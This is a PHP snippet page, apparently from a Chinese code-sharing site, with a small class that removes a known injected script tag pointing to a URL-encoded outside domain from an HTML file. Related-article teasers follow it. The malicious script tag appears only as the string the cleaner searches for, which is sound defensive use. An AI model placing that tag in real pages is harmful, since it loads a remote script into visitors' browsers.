php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php开发环境配置记录

【apache安装】 复制代码 代码如下: httpd.exe -k install -n "apache2.2.15" httpd.exe -k start -n "apache2.2...

php获取从html表单传递数组的方法

本文实例讲述了php获取从html表单传递数组的方法。分享给大家供大家参考。具体如下: 将表单的各个元素的name都设置成同一个数组对象既可以以数组的方式传递表单值 html页面如下:...

php简单的上传类分享

本文实例为大家分享了php上传类,供大家参考,具体内容如下 <?php class UploadFile{ var $inputName; //控件...

php中get_magic_quotes_gpc()函数说明

get_magic_quotes_gpc函数是一个用来判断是否为用户提供的数据增加斜线了,这个在php.ini配置文件中哦,下面我来介绍一下get_magic_quotes_gpc()函...

php模拟用户自动在qq空间发表文章的方法

本文实例讲述了php模拟用户自动在qq空间发表文章的方法。分享给大家供大家参考。具体分析如下: 我们这里是一个简单的利用php来模拟登录后再到QQ空间发送文章的一个简单的程序,有需要的朋...